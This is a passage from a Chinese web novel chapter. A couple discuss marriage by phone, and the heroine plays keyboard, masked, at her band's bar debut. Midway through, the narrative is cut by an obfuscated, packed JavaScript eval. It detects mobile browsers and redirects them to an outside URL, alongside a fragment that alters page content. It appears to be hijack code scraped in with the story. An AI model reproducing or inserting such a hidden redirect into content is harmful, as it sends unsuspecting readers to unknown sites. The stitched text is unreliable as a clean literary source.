“沈家破产时我也学了看账目表和资产,虽然不算很精深。但后来给你提供的账目,我都自己看过,也让律师和会计过目了。” “嗯。”周凛的唇角不自觉地上扬。 这就是他欣赏沈泠泠的地方——她不会轻易地说“我相信你”,也不会因为别人的挑拨就产生怀疑。 她会主动去学习、去求证,用事实支撑自己的判断。 绿灯亮起,王薇的车向右拐弯消失在了车流中。周凛继续直行,指尖轻轻敲击方向盘:“王薇今天还说,她认为婚姻是场交易。你觉得呢?” “你是特地打电话来考核我的吗?” “不是。”周凛轻笑,“我只是想听听你的观点。什么样的情况下,你会选择结婚?” 电话那边停了一阵。 “不知道。”良久,沈泠泠的声音才再度响起,像是她从卧室走到了阳台上,有推开门窗的动静,“我还没考虑过这个问题。” “那么你认为婚姻一定要有爱情吗?” “为什么要问我这么宏大的问题?” “这并不宏大。”周凛的指尖在方向盘上轻轻摩挲,“这跟我们每个人切身相关。如果想不清楚就进入婚姻,那才是对自己的不负责任。” “我会要求有。”沉静了一阵,沈泠泠声音虽低却很清楚,“如果不爱,我没办法说出生老病死,不离不弃。” “这只是一段誓言,现代没几个人会遵守,何必认真?”周凛故意调侃。 拐弯,他打了转向灯,仪表盘发出规律的滴答声。 等待着她的回复。 “如果我宣誓,我就会遵守。”沈泠泠清冷声音传来,反问他,“你呢。” “当然。”周凛听到前半句话微微一笑,“婚姻意味着财产和人身的绑定。如果不够喜欢,一个人过不是更好?很多人结婚只是为了合法地生孩子养老,我又不需要靠子女养老。” 电话那头传来沈泠泠轻轻的笑声。 周凛也跟着笑了。 笑过后,他的语气忽然变得郑重:“我一定是很爱一个人,才会考虑和她结婚。毕竟我的性命都要交付到她手上,做手术需要她签字。死了遗产也要给她。” “嗯。”沈泠泠轻声应。 他们之间突然沉默了一阵。 确实,以前没有如此直白地讨论过爱和婚姻的话题。 “我到公司了,不打扰你了。”周凛将车缓缓驶入地下车库,“下次找你吃饭。” “好。” 停好车。 挂断电话后,周凛坐在车里静静待了一会儿,才解开安全带。 车库里昏暗的灯光下,盯着已漆黑的屏幕。 ……真是,恨不得隔着手机亲她一口。 沈泠泠走进厨房,从微波炉里取出热好的牛奶。她捧着温热的杯子走到阳台,望着午后阳光将云彩染成金色,洒落在小区的树梢上。 她想起曾经听过的一个硅谷投资人纳瓦尔的播客。 他说人生最重要的三个决定是:住在哪里、和谁在一起、从事什么工作。这些决定不能草率,需要花一两年时间认真思考。许多人就是太轻易下决断了。 牛奶的温热透过杯壁传递到掌心。 沈泠泠轻轻抿了一口,望着远处出神。 她对周凛并非没有好感。 但那三年,始终横亘着契约与金钱的关系。 就像是师生,或是上下级——在不平等的环境里,无论多坚决,都会一叶障目不见泰山。 必须脱离开那种环境,得到平等的权力,再拉长时间和空间,才有可能真正去涉及“爱”。 工作也是如此。 趁年轻,在自己的兴趣范围内,就该多去试试其它的。 周五的Redrose酒吧,霓虹灯牌在暮色中格外醒目。 这家位于会林路的小型音乐酒吧今晚安排三支乐队和两位民谣歌手。 门票从88到360元不等。 海报上Stay乐队的名字被放在最显眼的位置。 后台,已经提前一小时到场的乐队成员正在做最后准备。 他们今晚要表演三首歌——两首乐队旧作,一首沈泠泠创作的新曲。 正值下班高峰,酒吧门口人流如织。 徐意走到正在调试键盘的沈泠泠身旁,递过一瓶冒着冷气的气泡水。 透过豺狼头套的面具,他低声问道:“紧张吗?” 今晚全员都戴着特色面具——阿乐是柴犬,M戴着风筝造型的头套,而沈泠泠则选择了黑白琴键图案的方形纸盒。 沈泠泠摇头。 “以前上过台?” 沈泠泠依然摇头,接过冰凉的饮料。 她拧开瓶盖,从纸盒下方伸进去小抿了半口,弯腰放在地上。 酒吧后台暖橙的光。 徐意没忍住瞥了眼,握着瓶身的手指纤长雪白,脖子也纤细雪白,令人想象面具底下究竟是怎么一副面容? 酒吧里暖场的音乐声渐弱,观众陆续就座。 远处传来阿乐的呼唤:“徐意,过来一下!”徐意走了过去。 沈泠泠握住冰凉的气泡水,冰凉的塑料贴着她掌心,透过纸盒的眼睛部位扫视着台底下的众人。 这次来的都不是热门乐队,没人排队,但周五是大家都愿意放松的时间,人不少。 很快就要坐满了。 她藏在面具底下,轻轻吐出一口气。 不会紧张,反而隐隐地—— 双手放在电子琴琴键——有些兴奋。 八点整,演出正式开始。 Stay乐队作为开场,用激昂的《Stay》瞬间点燃全场。这是首快歌,很容易令人心情开怀。 随后是另两支乐队和民谣歌手的表演。 中场过后,Stay再次登台演唱了《Loser》。 等到所有嘉宾表演结束,Stay作为收尾带来了沈泠泠作曲、徐意填词的新歌《不在意》。 这种分别在开场、中场和收尾的安排,让Stay必须留完全场。 不像其他乐队和歌手,唱完自己的歌就能走。 Stay是故意调整出这种安排,想试试沈泠泠的新歌。 刚开场观众都容易high。 听到后面产生轻微疲惫感还能调动得起观众情绪,那这歌就算写成了。 《不在意》用了相同四个和弦,大逆循环,俗称卡农进行。 同样的旋律被一个或多个声部重复。 旋律保守,但编排充满少年意气,旋律热情奔放,这是她听摇滚乐的品味,也跟Stay原本风格契合,否则她不会注意到他们。 最后一个音符的余韵还在空气中震颤,台下观众已经沸腾。 全场观众起立欢呼:“再来一首!再来一首!” “再来一首!” “再来一首!” 徐意脱下黑色皮马甲,露出里面的无袖背心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459217|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银质项链随着他的动作轻轻晃动。 今晚他显然唱high了。 “说好的歌单都唱完了,”他对着话筒轻笑,汗水顺着额角滑落,“但今晚太特别了,破例加一首。”台下顿时爆发出更热烈的欢呼。徐意做了个噤声的手势:“《不死之身》,没买版权,希望大家帮忙保守秘密。” 所有人都在笑。 酒吧适时调低灯光。 视线中心都在徐意身上,他像是舞台上的王者,他回头,示意沈泠泠,像是在问她是否知道《不死之身》这首歌。 沈泠泠坐在角落里,灯光只照到她的边缘,她一直很安静沉静,然而手指翻动,立刻弹奏出《不死之身》的副歌前奏。 咚! 鼓手敲击,配合着贝斯颤音。 徐意直接切入副歌部分,嗓音穿透力十足:“地球毁灭了以后,我仍爱你,爱得不知天高地厚——” 舞台灯光骤然暗下,只剩一束追光笼罩着徐意。 他仰起头,喉结在光影中格外分明,手臂随着节奏扬起,每一个动作都精准踩在鼓点上。台下年轻女孩的尖叫声此起彼伏,整个酒吧仿佛都在声浪中震颤。 键盘声陡然升高,与吉他的嘶鸣交织在一起。 “——为你再造一个新宇宙,不死之身,不死的温柔。” 沈泠泠透过纸壳的缝隙望去。 徐意站在光柱中央,汗水将背心浸透,贴在紧绷的肌肉上。他的侧脸线条在变幻的灯光中忽明忽暗,整个人散发着野性而危险的气息。 他双手握紧直立话筒,身体随着音乐抖动,双眸微低垂,声音开始转低转柔: “阳光放弃这最后一秒 让世界被黑暗笼罩 惩罚着人们的骄傲 我忍受寒冷的煎熬 和北风狂妄的咆哮 对命运做抵抗 这是无法避免的浩劫 不论你以为你是谁 任何事物任何一切 喔亲爱的别难过 只要紧紧握着我的手 …… 撑着悲伤不回头 却感觉此刻你停不了的泪流 唯有爱,才能永垂不朽 唯有你,我才能找回我……” 初次登台合作大获成功,演出结束后夜色已深。 走出酒吧时,徐意随手将面具别在腰间,转头问道:“要不要一起去吃个宵夜?” 阿乐插嘴:“算入伙饭。” 虽然没说明合格,但他们都默认她合格了,或者说,从她来的第一天就没什么大问题,只不过怕她怯场。 沈泠泠掏出手机打字,机械女声平静地响起:“不用了,我要回家睡觉。” 十点多就准备睡觉? 不过玩音乐的人谁没点怪癖?徐意了然一笑:“行,那你先回去吧。”能找到这样既能创作又弹得一手好键盘的伙伴实属不易,今晚的演出又如此完美,他心情大好地转向其他人:“你们想吃什么?” “烧烤配啤酒,天长地久!”阿乐嚎叫。 "走着。"徐意打了个响指。 三人往前走了段路,随意找了家街边大排档,烧烤摊烟火缭绕,徐意三人找了个张桌子在塑料凳上围坐,点好烤串和啤酒。 阿乐用瓶起子撬开啤酒盖,泡沫“嗤”地溢出来。 “你们说这个Lin是何方神圣,之前都没听过。”麻问,“会不会是哪个音乐学院的研究生?” “管她呢,反正我们捡到宝了。”阿乐灌了口酒,“弹键盘的手速比我打游戏还快。” “人家是女生,都多照顾着点。别把人吓跑了。”徐意想起什么,拿出手机,“对了,你把她微信推给我。我加个好友。” 阿乐一边推名片一边说:“懂这么多乐器语言,估计是个书呆子,不怎么谈恋爱的那种。我看长得挺丑,没什么人追,只能一心学习。” “那是他们没品味。”徐意冷笑了一下,手指在屏幕上快速滑动,发送消息:我是徐意。 “你不看脸啊。”阿乐开玩笑,“我跟你说,现在是男是女都是颜狗,你要是早点亮相,看不看我们乐队爆上热搜。” “你们发现没,”麻歪着头咬下一大块烤肉,“她真的很冷静,全程不跟我们嗨,就在自己的节奏里。我都怀疑她面具底下估计连表情都没变过。” “是。”阿乐点点头。 他们上台都容易high,但是她不嗨,稳得一批,反而镇住了他们的场子。 叮咚,徐意的手机响了。他皱眉盯着屏幕,嘴角的弧度渐渐消失。 阿乐凑过来:“怎么了?” 徐意没答话,把手机反扣在桌上。 过了几秒,又忍不住拿起来看。 屏幕上赫然显示着Lin的回复:抱歉,不加好友,有事群里聊。 徐意舌尖抵住上颚,在犬齿后方轻轻刮过,心中有种奇怪的感觉,既有轻微被拒绝的不愉快,又有极其微妙的欣赏。 啧,未免也太有个性了吧?